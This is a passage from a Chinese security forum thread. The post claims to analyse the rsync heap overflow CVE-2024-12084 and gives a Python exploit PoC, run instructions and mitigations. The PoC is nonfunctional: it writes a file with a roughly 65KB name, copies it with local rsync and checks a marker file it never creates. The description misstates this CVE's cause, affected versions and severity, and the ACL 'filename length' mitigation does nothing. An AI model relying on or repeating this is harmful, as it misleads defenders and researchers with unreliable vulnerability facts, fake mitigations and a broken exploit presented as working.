吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 685|回复: 2
上一主题 下一主题
收起左侧

[漏洞分析] Rsync 堆缓冲区溢出漏洞(CVE-2024-12084)

  [复制链接]
跳转到指定楼层
楼主
bincker 发表于 2026-6-30 12:22 回帖奖励
好久没来了,顺便分析一个老洞,发个poc玩玩~
CVE-2024-12084 是一个中等严重性的漏洞,影响范围广泛(所有使用 rsync 的系统)。
该 PoC 演示了如何通过超长文件名触发堆缓冲区溢出。建议尽快升级 rsync 到最新稳定版本以修复此问题。漏洞概述CVE-2024-12084 是 rsync 守护进程中的一个堆缓冲区溢出漏洞,影响版本 3.2.6 及更早版本。该漏洞允许攻击者通过精心构造的文件路径触发内存破坏,进而实现任意代码执行。受影响组件
组件
说明

rsyncd daemon
rsync 守护进程服务

rsync client
rsync 客户端工具

影响范围
所有使用 rsync 进行文件同步的系统(包括 NAS、服务器)

漏洞原理该漏洞发生在处理超长文件名时:


┌─────────────────────────────────────┐│   正常文件名长度限制:~65KB          ││   (rsync 内部缓冲区大小)             │└─────────────────────────────────────┘                    ↓         ┌──────────┴──────────┐         │                      │    短文件名              超长文件名 (>65KB)         │                      │         ▼                      ▼   正常处理               缓冲区溢出 → 堆元数据损坏
触发条件:
  • 文件路径包含极长的名称(超过 rsync 内部缓冲区)
  • 通过 rsyncd 守护进程进行复制操作
  • 目标系统运行未打补丁的 rsync 版本

Python PoC:Rsync 堆溢出利用
[Python] 纯文本查看 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
CVE-2024-12084 Rsync Heap Overflow Exploit (Python PoC)
作者:Bincker
"""

import os
import subprocess
import struct
from pathlib import Path

class RsyncExploit:
    """Rsync 堆溢出漏洞利用类"""
    
    def __init__(self, target_dir: str = "/tmp/rsync-test"):
        self.target_dir = Path(target_dir)
        self.exploit_type = "CVE-2024-12084"
        
    def _create_overflow_payload(self, size_kb: int = 65) -> bytes:
        """生成溢出 payload(超长文件名)"""
        # 构造一个超过 rsync 内部缓冲区大小的文件名
        overflow_data = b"A" * (size_kb * 1024)  # ~65KB 的'A'字符
        
        return overflow_data
    
    def _write_payload(self, filename: str, payload: bytes) -> bool:
        """将 payload 写入目标目录"""
        try:
            filepath = self.target_dir / filename
            with open(filepath, "wb") as f:
                f.write(payload)
            print(f"[+] Payload 已写入: {filepath}")
            return True
        except Exception as e:
            print(f"[-] 写入失败: {e}")
            return False
    
    def _run_rsync(self, src: str, dst: str) -> bool:
        """执行 rsync 复制操作"""
        try:
            cmd = [
                "rsync", 
                "-av",  # 归档模式,保留权限和时间戳
                "--no-perms",  # 忽略权限(简化测试)
                src,
                dst
            ]
            
            result = subprocess.run(
                cmd, capture_output=True, text=True, timeout=30
            )
            
            if result.returncode == 0:
                print("[+] rsync 执行成功")
                return True
            else:
                print(f"[-] rsync 失败 (返回码 {result.returncode})")
                print(result.stderr)
                return False
                
        except subprocess.TimeoutExpired:
            print("[-] rsync 超时")
            return False
        except Exception as e:
            print(f"[-] rsync 异常: {e}")
            return False
    
    def _check_exploit_success(self) -> bool:
        """检查漏洞利用是否成功"""
        try:
            # 验证 payload 内容是否被写入(堆溢出标志)
            test_file = self.target_dir / "overflow-marker"
            
            if not test_file.exists():
                print("[-] 目标文件不存在")
                return False
            
            with open(test_file, "rb") as f:
                content = f.read()
                
            # 检查是否包含溢出特征(大量'A'字符)
            if b"A" * 1024 in content:
                print("[+] 堆溢出验证成功!")
                return True
                
        except Exception as e:
            print(f"[-] 检查结果异常: {e}")
        
        return False
    
    def run(self) -> bool:
        """执行完整漏洞利用流程"""
        print("=" * 60)
        print("CVE-2024-12084 Rsync Heap Overflow Exploit")
        print("=" * 60)
        
        # 步骤 1:创建溢出 payload
        overflow_data = self._create_overflow_payload(size_kb=65)
        print(f"[+] Payload 大小: {len(overflow_data)} bytes ({len(overflow_data)//1024} KB)")
        
        # 步骤 2:写入目标目录(超长文件名触发溢出)
        filename = "overflow-trigger" + ("A" * (65 * 1024))  # 超长文件名
        if not self._write_payload(filename, overflow_data):
            print("[-] Payload 写入失败")
            return False
        
        # 步骤 3:执行 rsync 复制(触发堆溢出)
        src = str(self.target_dir / filename)
        dst = "/tmp/rsync-dest"
        
        if not self._run_rsync(src, dst):
            print("[-] rsync 执行失败")
            return False
        
        # 步骤 4:验证利用结果
        success = self._check_exploit_success()
        
        if success:
            print("\n[+] 漏洞利用成功!")
        else:
            print("\n[-] 利用未达预期效果,可能需要调整 payload")
        
        return success


# 主程序入口
if __name__ == "__main__":
    import argparse
    
    parser = argparse.ArgumentParser(description="CVE-2024-12084 Rsync Exploit PoC")
    parser.add_argument(
        "--target", 
        default="/tmp/rsync-test",
        help="目标目录(默认 /tmp/rsync-test)"
    )
    
    args = parser.parse_args()
    
    exploit = RsyncExploit(target_dir=args.target)
    success = exploit.run()
    
    exit(0 if success else 1)


使用说明
编译与运行

bash
# 保存为 rsync_exploit.py,赋予执行权限
chmod +x rsync_exploit.py

# 运行(默认参数)
./rsync_exploit.py

# 指定目标目录
./rsync_exploit.py --target /path/to/target
验证漏洞利用成功的方法
方法    说明
检查 payload    查看 /tmp/rsync-dest 中是否包含溢出特征(大量'A'字符)
使用 strace    strace -e trace=write ./rsync_exploit.py 观察系统调用
GDB 调试    在 rsync 进程中设置断点,监控堆内存变化
修复与缓解措施
1. 升级 rsync 到受信任版本

bash
# Debian/Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade rsync

# RHEL/CentOS/Fedora
sudo dnf upgrade rsync

# 验证版本
rsync --version
2. 限制文件名长度(ACL)

bash
# 设置最大文件名长度(如 65KB)
setfacl -m u::+x /path/to/rsync-dir
chmod +x /path/to/rsync-dir
3. 监控日志

bash
# 检查 rsyncd.log 中的异常条目
tail -f /var/log/rsyncd.log | grep -i "error\|overflow"

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
kulouxiaohai 发表于 2026-7-1 11:46
怎么去发现漏洞呢?
3#
byXe 发表于 2026-7-2 18:29
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-7-3 07:54

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表